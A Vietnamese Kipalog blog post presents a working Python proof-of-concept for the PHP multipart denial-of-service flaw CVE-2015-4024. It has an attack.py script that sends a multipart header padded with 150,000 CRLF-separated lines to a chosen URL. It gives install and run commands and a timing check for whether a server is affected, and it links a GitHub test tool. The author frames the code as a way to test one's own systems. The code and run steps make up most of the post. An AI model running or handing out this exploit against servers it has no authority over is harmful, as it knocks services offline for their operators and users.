Mã mô phỏng lỗ hổng CVE-2015-4024
PHP
78
Security
31
White

Vu Nhat Minh viết ngày 24/07/2015

Như đã mô tả trong bài viết trước, CVE-2015-4024 là một lỗ hổng nghiệm trọng của hầu hết các phiên bản PHP và mới chỉ được vá gần đây. Trong báo cáo bug thì người phát hiện (một nhà nghiên cứu an ninh ở Baidu Trung Quốc) đã tái hiện tình huống và phân tích cụ thể, tuy nhiên chưa đưa ra đoạn mã mô phỏng.

Mã cơ bản

Mình sẽ public đoạn mã mô phỏng mình viết sau khi đọc bản báo cáo trên. Đoạn mã này được tạo ra với mục đích kiểm thử hệ thống của bản thân. Sử dụng lại đồng nghĩa với tự chấp nhận trách nhiệm và rủi ro đi kèm.

# attack.py
import sys, time, requests

CRLF = '\r\n'
def post(url):
    boundary = '---------------------------' + ('%.f' % time.time())
    data = '--' + boundary + CRLF
    fakefile = 'dummy'
    for _ in xrange(150000):
        fakefile += CRLF + 'dummy'
    data += 'Content-Disposition: form-data; name="' + fakefile + '"; filename="z.txt"' + CRLF
    data += 'Content-Type: application/octet-stream' + CRLF
    data += CRLF
    data += '--' + boundary + '--' + CRLF
    headers = {
        'Content-Type': 'multipart/form-data; boundary=' + boundary,
        'Content-Length': len(data)
    }
    print('attack start')
    r = requests.post(url, headers = headers, data = data)
    print('attack end')

try:
    post(sys.argv[1])
except:
    print('Invalid URL!')

Bạn cần thư viện requests phiên bản 2.5.3 để chạy đoạn mã trên

pip install requests==2.5.3

Sau đó chạy đoạn mã với url đằng sau

python attack.py http://xxx.yyy

Nếu kết quả trả về sau thời gian lâu hơn khoảng 5s, thì tức là url kia đã "dính".

Mã nâng cao

Sau đây là một đoạn mã khác công khai trên Github, các bạn có thể đọc tham khảo
https://github.com/qqq232575/phpbug69364-test.
WARNING: USE THIS TOOL AT YOUR OWN RISK

Tham khảo

Bình luận


White
{{ comment.user.name }}
Bỏ hay Hay
{{comment.like_count}}
Male avatar
{{ comment_error }}
Hủy
   

Hiển thị thử

Chỉnh sửa

White

Vu Nhat Minh

54 bài viết.
777 người follow
Kipalog
{{userFollowed ? 'Following' : 'Follow'}}
Cùng một tác giả
White
120 30
Nếu bạn thường vào trang mua sắm của amazon, chắc sẽ chẳng lạ gì với menu Shop by Department. Tốc độ hiển thị nội dung của menu là tức thì so với d...
Vu Nhat Minh viết gần 3 năm trước
120 30
White
93 4
Lời người dịch Người dịch là một developer , sau khi tìm đọc được bài viết này bằng bản gốc tiếng Anh đã cảm thấy như được "khai sáng" về khả năng...
Vu Nhat Minh viết 3 năm trước
93 4
White
62 5
Đây là phần cuối của một series chuyên về thiết kế UI. Bạn nên đọc (Link) trước khi bắt đầu đọc phần này. Luật số 7: "Ăn trộm" như là một nghệ sỹ...
Vu Nhat Minh viết gần 3 năm trước
62 5
Bài viết liên quan
White
2 2
Bash script to fast serve Laravel project Lười gõ dòng lệnh quá nên tạo ra cái script để gõ nhanh :D laravelstart.sh /bin/bash if z "$1" ] ...
Vũ Hoàng Chung viết hơn 1 năm trước
2 2
Male avatar
9 1
Để bắt đầu làm thêm của riêng bạn thì ban đầu bạn phải có một theme trắng ( Blank theme ) để bắt đầu Theme trắng là gồm có các thư mục và file cơ b...
Doan Van Manh viết hơn 2 năm trước
9 1
{{like_count}}

kipalog

{{ comment_count }}

bình luận

{{liked ? "Đã kipalog" : "Kipalog"}}


White
{{userFollowed ? 'Following' : 'Follow'}}
54 bài viết.
777 người follow

 Đầu mục bài viết

Vẫn còn nữa! x

Kipalog vẫn còn rất nhiều bài viết hay và chủ đề thú vị chờ bạn khám phá!